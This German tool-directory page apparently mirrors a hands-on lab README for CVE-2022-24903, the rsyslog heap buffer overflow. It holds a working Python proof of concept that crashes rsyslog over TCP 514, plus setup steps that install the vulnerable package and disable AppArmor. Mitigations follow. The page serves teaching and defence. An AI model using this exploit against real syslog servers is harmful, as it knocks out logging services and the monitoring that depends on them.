Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-based buffer overflow | Kitploit
Tools/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Vulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-based buffer overflow

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
vor 21 TagenNoch nicht geprüft

CVE-2022-24903 Praktisches Labor

Autor: Andrew Beshay Mousa

Ein praktisches Labor, das die Heap-Pufferüberlauf-Schwachstelle in rsyslog demonstriert.

rsyslog CVE Type Protocol

Eine praktische Laborumgebung, um die rsyslog Heap-Pufferüberlauf-Schwachstelle (CVE-2022-24903) über das Octet-Count-Framing beim TCP-Syslog-Empfang zu reproduzieren und zu verstehen.


Inhaltsverzeichnis

  • Überblick
  • Laborarchitektur
  • Voraussetzungen
  • Schwachstellendetails
  • Laboreinrichtung
    • Zielmaschine (Ubuntu)
    • Angreifermaschine (Kali)
  • Ausnutzung
  • Verifizierung
  • Fehlerbehebung
  • Gegenmaßnahmen
  • Referenzen

Überblick

CVE-2022-24903 ist eine Heap-Pufferüberlauf-Schwachstelle im TCP-Syslog-Empfangsmodul (imtcp) von rsyslog bei Verwendung der oktettzählenden Rahmung (RFC 5425).

Ein Angreifer kann eine präparierte TCP-Syslog-Nachricht mit einem übermäßig langen Oktettanzahl-Präfix senden, wodurch rsyslog über die Grenzen eines heap-allokierten Puffers hinaus schreibt. Dies führt zu einem Denial-of-Service (DoS) oder potenzieller Speicherkorruption.


Laborarchitektur

root@kitploit:~
+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

Benötigte VMs

Hinweis: Du kannst jede Ubuntu-Version (20.04, 22.04, 24.04) als Ziel verwenden. Entscheidend ist, das verwundbare rsyslog 8.2001.0-.deb-Paket manuell zu installieren.


Voraussetzungen

  • VirtualBox oder VMware Workstation
  • Ubuntu 22.04 ISO (~2 GB)
  • Kali Linux VM (~4 GB)
  • Host-Only-Netzwerk, konfiguriert in deinem Hypervisor
  • Grundkenntnisse über Linux-Befehle und Python

Schwachstellendetails

Was ist Octet-Counted Framing?

Bei TCP-Syslog (RFC 5425) wird den Nachrichten ihre Länge in Bytes vorangestellt:

root@kitploit:~
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

Der Fehler

In verwundbaren rsyslog-Versionen funktioniert der Oktettanzahl-Parser wie folgt:

  1. Er sammelt Ziffern in einem Heap-Puffer fester Größe
  2. Er prüft die Puffergrenzen beim Schreiben von Ziffern nicht
  3. Er schreibt weiterhin Ziffern, auch nachdem die Oktettanzahl den maximal zulässigen Wert überschritten hat
root@kitploit:~
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

Ergebnis: Das Senden von 9999... (5000+ Ziffern) lässt den Heap-Puffer überlaufen und korrumpiert angrenzenden Speicher.

Warum RCE schwierig ist

  • Der Überlauf ist auf ausschließlich numerische Zeichen (0-9) beschränkt
  • Der Parser stoppt beim ersten Nicht-Ziffern-Zeichen
  • Shellcode kann nicht direkt injiziert werden
  • DoS ist garantiert; RCE wird vom Hersteller als unwahrscheinlich eingestuft

Laboreinrichtung

Schritt 1: Host-Only-Netzwerk konfigurieren

Erstelle in deinem Hypervisor ein Host-Only-Netzwerk:

  • Subnetz: 192.168.56.0/24
  • DHCP: Deaktiviert (statische IPs)

Verbinde beide VMs mit diesem Netzwerk.


Schritt 2: Zielmaschine (Ubuntu)

2.1 Statische IP festlegen

root@kitploit:~
sudo nano /etc/netplan/00-installer-config.yaml

Einfügen:

root@kitploit:~
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

Anwenden:

root@kitploit:~
sudo netplan apply

Überprüfen:

root@kitploit:~
ip addr show | grep 192.168.56.20

2.2 Modernes rsyslog stoppen und entfernen

root@kitploit:~
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 Verwundbares rsyslog herunterladen und installieren

root@kitploit:~
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

Falls du einen dpkg-Sperrfehler erhältst:

root@kitploit:~
sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

Version überprüfen:

root@kitploit:~
rsyslogd -v | head -2

Erwartete Ausgabe:

root@kitploit:~
rsyslogd  8.2001.0

2.4 AppArmor deaktivieren (nur Labor)

AppArmor kann rsyslog daran hindern, mit dem alten Paket korrekt zu funktionieren:

root@kitploit:~
sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 rsyslog für TCP 514 konfigurieren

root@kitploit:~
sudo nano /etc/rsyslog.conf

Datei leeren und Folgendes einfügen:

root@kitploit:~
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 Firewall-Port öffnen

root@kitploit:~
sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 rsyslog starten

root@kitploit:~
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

Überprüfen, ob der Dienst lauscht:

root@kitploit:~
sudo ss -tlnp | grep 514

Erwartet:

root@kitploit:~
LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

Schritt 3: Angreifermaschine (Kali)

3.1 Statische IP festlegen

root@kitploit:~
sudo nano /etc/network/interfaces

Einfügen:

root@kitploit:~
auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

Oder falls du Netplan verwendest:

root@kitploit:~
sudo nano /etc/netplan/01-netcfg.yaml
root@kitploit:~
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
root@kitploit:~
sudo netplan apply

3.2 Exploit-Skript erstellen

root@kitploit:~
cd ~/Desktop
nano exploit.py

Einfügen:

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

Ausführbar machen:

root@kitploit:~
chmod +x exploit.py

Ausnutzung

Vorabprüfung

Führe von der Angreifer-Maschine aus einen Konnektivitätstest durch:

root@kitploit:~
nc -zv 192.168.56.20 514

Erwartet:

root@kitploit:~
(UNKNOWN) [192.168.56.20] 514 (shell) open

Exploit ausführen

root@kitploit:~
python3 ~/Desktop/exploit.py

Erwartete Ausgabe:

root@kitploit:~
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

Verifizierung

Überprüfe auf der Zielmaschine den Absturz:

Methode 1: Prüfen, ob rsyslog noch läuft

root@kitploit:~
ps aux | grep rsyslog

Wenn keine Ausgabe -> rsyslog ist abgestürzt

Methode 2: Kernel-Logs überprüfen

root@kitploit:~
sudo dmesg | tail -10

Erwartete Ausgabe:

root@kitploit:~
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

Oder:

root@kitploit:~
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

Methode 3: systemd-Journal überprüfen

root@kitploit:~
sudo journalctl -u rsyslog --no-pager | tail -10

Methode 4: Neustart und erneuter Test

Um die Reproduzierbarkeit zu bestätigen:

root@kitploit:~
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

Führe anschließend den Exploit erneut von Kali aus. Der Absturz sollte erneut auftreten.


Fehlerbehebung


Gegenmaßnahmen

1. rsyslog aktualisieren

root@kitploit:~
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

Gepatchte Version überprüfen:

root@kitploit:~
rsyslogd -v | head -2

Sollte 8.2204.1 oder höher sein.

2. TCP-Syslog deaktivieren, falls nicht benötigt

Kommentiere in /etc/rsyslog.conf aus:

root@kitploit:~
# module(load="imtcp")
# input(type="imtcp" port="514")

3. TLS/SSL verwenden (RFC 5425)

Falls TCP-Syslog erforderlich ist, verwende einen verschlüsselten Transport:

root@kitploit:~
module(load="imgtls")
input(type="imgtls" port="6514")

4. Firewall-Einschränkungen

Beschränke TCP 514 auf vertrauenswürdige Hosts:

root@kitploit:~
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp

Referenzen

  • NVD - CVE-2022-24903
  • rsyslog Security Advisory
  • Ubuntu Security Notice USN-5404-1
  • RFC 5424 - Syslog Protocol
  • RFC 5425 - TLS Transport

Haftungsausschluss

Dieses Labor dient ausschließlich Bildungs- und Forschungszwecken. Verwende diesen Exploit nicht gegen Systeme, die du nicht besitzt oder für die du keine ausdrückliche Genehmigung zum Testen hast. Der Autor übernimmt keine Haftung für den Missbrauch dieser Informationen.


Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert.


Hergestellt mit Kaffee und Neugier von Andrew Beshay Mousa.

Tool herunterladen
AttributWert
CVE-IDCVE-2022-24903
Betroffenrsyslog < 8.2204.1
AngriffsvektorNetzwerk
Port514/TCP
Modulimtcp (TCP-Eingang)
AuswirkungDoS / Heap-Korruption
RCE wahrscheinlich?Nein (Herstellereinschätzung)
VMOSRolleIPRAMCPU
ZielUbuntu 22.04Verwundbarer rsyslog-Server192.168.56.201 GB1
AngreiferKali LinuxExploit-Sender192.168.56.102 GB1
ProblemLösung
Connection refusedrsyslog läuft nicht oder lauscht nicht auf TCP 514. Prüfe sudo systemctl status rsyslog und `sudo ss -tlnp
Unit rsyslog.service is maskedFühre sudo systemctl unmask rsyslog.service syslog.socket aus
dpkg frontend lockFühre sudo kill -9 <PID> aus, danach sudo rm -f /var/lib/dpkg/lock-frontend
AppArmor DENIED in dmesgFühre sudo systemctl stop apparmor && sudo systemctl disable apparmor aus
rsyslog-Version ist 8.2112+Du hast die gepatchte Version installiert. Lade rsyslog_8.2001.0-1ubuntu1_amd64.deb manuell herunter und installiere sie
Kein Absturz nach dem ExploitErhöhe die Payload-Größe auf b"9" * 20000